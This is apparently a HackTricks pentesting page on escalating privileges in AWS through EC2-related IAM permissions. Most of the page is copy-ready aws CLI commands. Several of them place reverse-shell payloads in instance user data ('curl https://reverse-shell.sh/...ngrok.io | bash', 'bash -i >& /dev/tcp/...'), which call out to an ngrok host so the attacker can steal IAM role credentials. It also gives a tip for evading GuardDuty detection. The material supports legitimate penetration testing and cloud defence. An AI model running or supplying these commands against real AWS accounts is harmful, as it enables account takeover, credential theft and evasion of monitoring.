Support HackTricks and get benefits!
- If you want to see your company advertised in HackTricks or if you want access to the latest version of the PEASS or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
For more info about EC2 check:
{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum {% endcontent-ref %}
An attacker with the iam:PassRole
and ec2:RunInstances
permissions can create a new EC2 instance that they will have operating system access to and pass an existing EC2 instance profile to it. They can then login to the instance and request the associated AWS keys from the EC2 instance meta data, which gives them access to all the permissions that the associated instance profile/service role has.
- Access via SSH
You can run a new instance using a created ssh key (--key-name
) and then ssh into it (if you want to create a new one you might need to have the permission ec2:CreateKeyPair
).
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro \
--iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key \
--security-group-ids sg-123456
- Access via rev shell in user data
You can run a new instance using a user data (--user-data
) that will send you a rev shell. You don't need to specify security group this way.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id ami-0c1bc246476a5572b --instance-type t2.micro \
--iam-instance-profile Name=EC2-CloudWatch-Agent-Role \
--count 1 \
--user-data "file:///tmp/rev.sh"
An important note to make about this attack is that an obvious indicator of compromise is when EC2 instance profile credentials are used outside of the specific instance. Even AWS GuardDuty triggers on this (https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types.html#unauthorized11), so it is not a smart move to exfiltrate these credentials and run them locally, but rather access the AWS API from within that EC2 instance.
Potential Impact: Direct privesc to a any EC2 role attached to existing instance profiles.
With this set of permissions you could also create an EC2 instance and register it inside an ECS cluster. This way, ECS services will be run in inside the EC2 instance where you have access and then you can penetrate those services (docker containers) and steal their ECS roles attached.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
To learn how to force ECS services to be run in this new EC2 instance check:
{% content-ref url="aws-ecs-privesc.md" %} aws-ecs-privesc.md {% endcontent-ref %}
If you cannot create a new instance but has the permission ecs:RegisterContainerInstance
you might be able to register the instance inside the cluster and perform the commented attack.
Potential Impact: Direct privesc to ECS roles attached to tasks.
Similar to the previous scenario, an attacker with these permissions could change the IAM role of a compromised instance so he could steal new credentials.
As an instance profile can only have 1 role, if the instance profile already has a role (common case), he will also need iam:RemoveRoleFromInstanceProfil
e
.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
If the instance profile has a role and the attacker cannot remove it, there is another workaround. He could find an instance profile without a role or create a new one (iam:CreateInstanceProfile
), add the role to that instance profile (as previously discussed), and associate the instance profile compromised to a compromised instance:
- If the instance doesn't have any instance profile (
ec2:AssociateIamInstanceProfile
)-
aws ec2 associate-iam-instance-profile --iam-instance-profile <value> --instance-id <value>
-
- If it has an instance profile, you can remove the instance profile (
ec2:DisassociateIamInstanceProfile
) and associate it-
aws ec2 disassociate-iam-instance-profile --iam-instance-profile <value> --instance-id <value> aws ec2 associate-iam-instance-profile --iam-instance-profile <value> --instance-id <value>
-
- or replace the instance profile of the compromised instance (
ec2:ReplaceIamInstanceProfileAssociation
).-
aws ec2 replace-iam-instance-profile-association --iam-instance-profile <value> --association-id <value>
-
Potential Impact: Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
An attacker with the permissions ec2:RequestSpotInstances
andiam:PassRole
can request a Spot Instance with an EC2 Role attached and a rev shell in the user data.
Once the instance is run, he can steal the IAM role.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
An attacker with the ec2:ModifyInstanceAttribute
can modify the instances attributes. Among them, he can change the user data, which implies that he can make the instance run arbitrary data. Which can be used to get a rev shell to the EC2 instance.
Note that the attributes can only be modified while the instance is stopped, so the permissions ec2:StopInstances
and ec2:StartInstances
.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Potential Impact: Direct privesc to any EC2 IAM Role attached to a created instance.
An attacker with the permissions ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
and ec2:ModifyLaunchTemplate
can create a new Launch Template version with a rev shell in the user data and any EC2 IAM Role on it, change the default version, and any Autoscaler group using that Launch Template that is configured to use the latest or the default version will re-run the instances using that template and will execute the rev shell.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Potential Impact: Direct privesc to a different EC2 role.
An attacker with the permissions autoscaling:CreateLaunchConfiguration
,autoscaling:CreateAutoScalingGroup
,iam:PassRole
can create a Launch Configuration with an IAM Role and a rev shell inside the user data, then create an autoscaling group from that config and wait for the rev shell to steal the IAM Role.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Potential Impact: Direct privesc to a different EC2 role.
The set of permissions ec2:CreateLaunchTemplate
and autoscaling:CreateAutoScalingGroup
aren't enough to escalate privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template you need to permissions iam:PassRole
and ec2:RunInstances
(which is the known privesc).
An attacker with the permission ec2-instance-connect:SendSSHPublicKey
can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances.
An attacker with the permission **ec2-instance-connect:SendSerialConsoleSSHPublicKey
** can add an ssh key to a serial connection. If the serial is not enable, the attacker needs the permission ec2:EnableSerialConsoleAccess
to enable it.
In order to connect to the serial port you also need to know the username and password of a user inside the machine.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID[email protected]
This way isn't that useful to privesc as you need to know a username and password to exploit it.
Potential Impact: (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.
Support HackTricks and get benefits!
- If you want to see your company advertised in HackTricks or if you want access to the latest version of the PEASS or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.